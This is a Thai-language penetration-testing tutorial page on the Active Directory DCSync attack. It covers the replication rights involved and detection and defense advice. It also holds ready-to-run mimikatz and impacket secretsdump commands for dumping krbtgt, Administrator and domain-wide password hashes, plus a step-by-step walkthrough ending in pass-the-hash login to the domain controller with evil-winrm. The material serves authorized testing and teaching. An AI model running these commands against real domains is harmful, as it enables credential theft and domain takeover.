คลัง
active-directory

DCSync

DCSync เป็นเทคนิคที่หลอก Domain Controller ให้ replicate ข้อมูล credential (NTLM hash) ของบัญชีใดก็ได้ — รวม krbtgt และ Domain Admin — ออกมา โดยใช้สิทธิ์ replication (DS-Replication-Get-Changes) แทนที่จะต้องรันโค้ดบน DC บทนี้ลงลึกกลไก DRSUAPI, สิทธิ์ที่ต้องมี, การ dump ด้วย mimikatz/impacket, สิ่งที่ได้, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#dcsync#active-directory#drsuapi#replication#krbtgt#mimikatz#ctf

1. หลักการ — abuse replication

Domain Controller หลายตัวต้อง sync ข้อมูลกันผ่าน protocol DRSUAPI (Directory Replication Service) — DC ตัวหนึ่งขอข้อมูล (รวม password hash) จากอีกตัวได้ DCSync ปลอมตัวเป็น DC แล้วขอ replicate credential ของบัญชีเป้าหมายออกมา จุดสำคัญ: ไม่ต้องรันโค้ดบน DC ไม่ต้อง dump NTDS.dit เอง — แค่มีสิทธิ์ replication (ซึ่ง Domain Admins, Enterprise Admins, และบัญชีที่มี DCSync rights มี) ก็ขอ hash ของใครก็ได้รวม krbtgt (กุญแจสู่ Golden Ticket)

DCSync — ปลอมเป็น DC ขอ replicate
attacker (replication rights) Domain Controller NTDS.dit 1. DRSUAPI GetNCChanges (ขอ replicate krbtgt) 2. ส่ง NTLM hash ของบัญชีที่ขอ krbtgt hash → Golden Ticket · DA hash → ยึดโดเมน ไม่ต้องรันโค้ดบน DC — แค่มีสิทธิ์ replication
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. สิทธิ์ที่ต้องมี

DCSync ต้องการสิทธิ์ replication 3 อย่างบน domain object — บัญชีที่มีครบทำ DCSync ได้:

สิทธิ์ (extended right)ความหมาย
DS-Replication-Get-Changesขอ replicate การเปลี่ยนแปลง
DS-Replication-Get-Changes-Allreplicate รวม secret (hash)
DS-Replication-Get-Changes-In-Filtered-Setบางสภาพแวดล้อม (RODC)
  • มีโดย default: Domain Admins, Enterprise Admins, Administrators, Domain Controllers
  • บัญชีธรรมดาที่ถูกมอบสิทธิ์ผิดพลาด (misconfiguration) — เป้าที่ BloodHound หาเจอ (edge DCSync)
  • ได้สิทธิ์นี้ผ่าน ACL abuse (WriteDacl บน domain → ให้สิทธิ์ตัวเอง — ดูหัวข้อ ACL Abuse)
ใน BloodHound: query 'Find Principals with DCSync Rights' — บัญชีที่ไม่ใช่ DA แต่มีสิทธิ์นี้ = misconfiguration ที่ใช้ยึดโดเมนได้ทันที

3. DCSync ด้วย mimikatz (Windows)

mimikatz lsadump::dcsyncWindows
# dump hash ของ krbtgt (สำหรับ Golden Ticket)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# dump hash ของ Domain Admin
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

# dump ทุกบัญชี (ทั้งโดเมน)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# สิ่งที่ได้: NTLM hash, (และ AES keys ถ้ามี)
# krbtgt NTLM → ใช้ทำ Golden Ticket (ดูหัวข้อ Golden Ticket)
ต้องรันด้วยบัญชีที่มีสิทธิ์ replication; krbtgt hash คือเป้าหมายหลัก (กุญแจสู่ Golden Ticket)

4. DCSync ด้วย impacket (Linux)

secretsdump.pyLinux
# dump ทั้งโดเมนผ่าน DCSync (ใช้ credential ที่มีสิทธิ์)
secretsdump.py domain.local/DAuser:[email protected]

# เฉพาะ krbtgt (-just-dc-user)
secretsdump.py domain.local/DAuser:[email protected] -just-dc-user krbtgt

# เฉพาะ NTLM (ไม่เอา cleartext/kerberos keys)
secretsdump.py domain.local/DAuser:[email protected] -just-dc-ntlm

# pass-the-hash (ถ้ามี hash แทนรหัส)
secretsdump.py -hashes :NTHASH domain.local/[email protected]
secretsdump.py -just-dc ใช้ DCSync; ได้ format uid:rid:lm:nt — ใช้ pass-the-hash/crack ต่อ

5. ได้ hash แล้วทำอะไรต่อ

  • krbtgt hash → Golden Ticket: ปลอม TGT เป็นใครก็ได้ ยึดโดเมนถาวร (ดู Golden Ticket)
  • DA hash → Pass-the-Hash: login เป็น DA โดยไม่ต้อง crack (ดู Pass-the-Hash)
  • service account hash → Silver Ticket: ปลอม TGS เข้า service (ดู Silver Ticket)
  • crack hash: hashcat -m 1000 (NTLM) หาว่ารหัสจริงคืออะไร (reuse ที่อื่น)
  • AES keys: ใช้ overpass-the-hash / ทำ ticket แบบ AES (เนียนกว่า RC4)

6. OPSEC และการป้องกัน

  • ตรวจจับ: Event 4662 (operation on object) ที่มี replication GUID จาก IP ที่ไม่ใช่ DC = สัญญาณ DCSync
  • OPSEC: DCSync เนียนกว่า dump NTDS.dit (ไม่แตะ disk DC) แต่ replication จาก non-DC host ผิดปกติ
  • ป้องกัน: จำกัดสิทธิ์ replication เฉพาะ DC จริง — audit บัญชีที่มี DS-Replication-Get-Changes-All
  • ป้องกัน: monitor 4662 + network (DRSUAPI traffic จาก host ที่ไม่ใช่ DC)
  • หลัง compromise: ถ้า krbtgt หลุด ต้อง reset krbtgt 2 ครั้ง เพื่อตัด Golden Ticket

7. Quick Reference

  • ปลอมเป็น DC ขอ replicate credential (DRSUAPI) — ไม่ต้องรันโค้ดบน DC
  • ต้องมีสิทธิ์: DS-Replication-Get-Changes(-All) (DA/EA มี default)
  • BloodHound: 'Find Principals with DCSync Rights'
  • Windows: mimikatz lsadump::dcsync /user:krbtgt
  • Linux: secretsdump.py domain/DAuser:pass@DC -just-dc-user krbtgt
  • krbtgt→Golden Ticket; DA→PtH; service→Silver Ticket
  • ป้องกัน: จำกัด replication, monitor Event 4662, krbtgt reset x2

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound ชี้ว่า user ที่เรามี (หรือหลังยึดได้) มีสิทธิ์ DCSync (DS-Replication-Get-Changes-All) หรือเป็น DA แล้ว มีแค่ Kali ทำตามนี้ดึง hash ทั้งโดเมน

  1. 1ยืนยันสิทธิ์ก่อน: ใน BloodHound รัน query 'Find Principals with DCSync Rights' ดูว่า user เราอยู่ในนั้นไหม
  2. 2ทดสอบสิทธิ์จริงด้วยการดึงบัญชีเดียวก่อน: secretsdump.py domain.local/user:pass@<DC_IP> -just-dc-user krbtgt
  3. 3ถ้าได้ hash ของ krbtgt แสดงว่าสิทธิ์ใช้ได้จริง — ดึงต่อได้เต็มโดเมน: secretsdump.py domain.local/user:pass@<DC_IP>
  4. 4ถ้าต้องการเฉพาะ Administrator: secretsdump.py domain.local/user:pass@<DC_IP> -just-dc-user Administrator
  5. 5เก็บ krbtgt hash ไว้ทำ Golden Ticket ทีหลัง (persistence)
  6. 6เก็บ DA hash ไว้ทำ pass-the-hash เข้า DC ทันที
  7. 7ใช้ hash ที่ได้ยืนยันเข้าถึง DC: evil-winrm -i <DC_IP> -u Administrator -H <NThash>
  8. 8ถ้าได้ error access denied ตอน dump แปลว่าสิทธิ์ไม่พอจริง — กลับไปหาสิทธิ์ replication ผ่าน ACL Abuse ก่อน
มีสิทธิ์ DCSync แล้ว → ดึง hash → ใช้ต่อ
BloodHound: Find Principals with DCSync Rights — เรามีสิทธิ์ไหม
✅ มี (user เราอยู่ในลิสต์)→ ทดสอบดึง krbtgt จริง
❌ ไม่มี→ ต้องได้สิทธิ์ replication มาก่อน
secretsdump.py domain/user:pass@DC -just-dc-user krbtgt
✅ ได้ hash krbtgt→ ดึงเต็มโดเมน + ต่อ Golden Ticket
❌ access denied→ สิทธิ์จริงไม่พอ กลับไปหาทางอื่น
secretsdump.py domain/user:pass@DC (เต็มโดเมน)
✅ ได้ hash ทุกบัญชี→ เลือกใช้ต่อ
❌ ช้า/timeout (โดเมนใหญ่มาก)→ ดึงเฉพาะบัญชีสำคัญด้วย -just-dc-user แทน
เลือกใช้ hash ต่อ
ต้องการ persistence ถาวร→ ทำ Golden Ticket ด้วย krbtgt
ต้องการเข้า DC ทันที (DA hash)→ pass-the-hash / evil-winrm
evil-winrm -i DC -u Administrator -H <NThash>
✅ เข้า DC ได้→ ยึดโดเมนสำเร็จ
❌ WinRM ปิด/ไม่เปิด→ ใช้ psexec.py/wmiexec.py แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ตรวจสิทธิ์ replicationBloodHoundBloodHound CE (docker compose)bloodhound.readthedocs.io
ดึง hash ผ่าน DCSyncimpacket (secretsdump.py)pipx install impacket-
pass-the-hash เข้า DC-gem install evil-winrm-
pass-the-hash แบบ SMB/WMIimpacket (psexec.py/wmiexec.py)--
ยืนยัน creds/สิทธิ์netexec (crackmapexec)apt install netexec-
crack NTLM ถ้าต้องรู้รหัสจริงhashcat (-m 1000)-crackstation.net, hashes.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: Golden Ticket (หลังได้ krbtgt hash) · ACL Abuse (ถ้ายังไม่มีสิทธิ์ DCSync ต้องไปหาก่อน) · Silver Ticket (ถ้าต้องการเฉพาะ hash ของ service ใดหนึ่ง) · BloodHound (กลับไปเช็ค path ถ้าสิทธิ์ไม่พอจริง)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้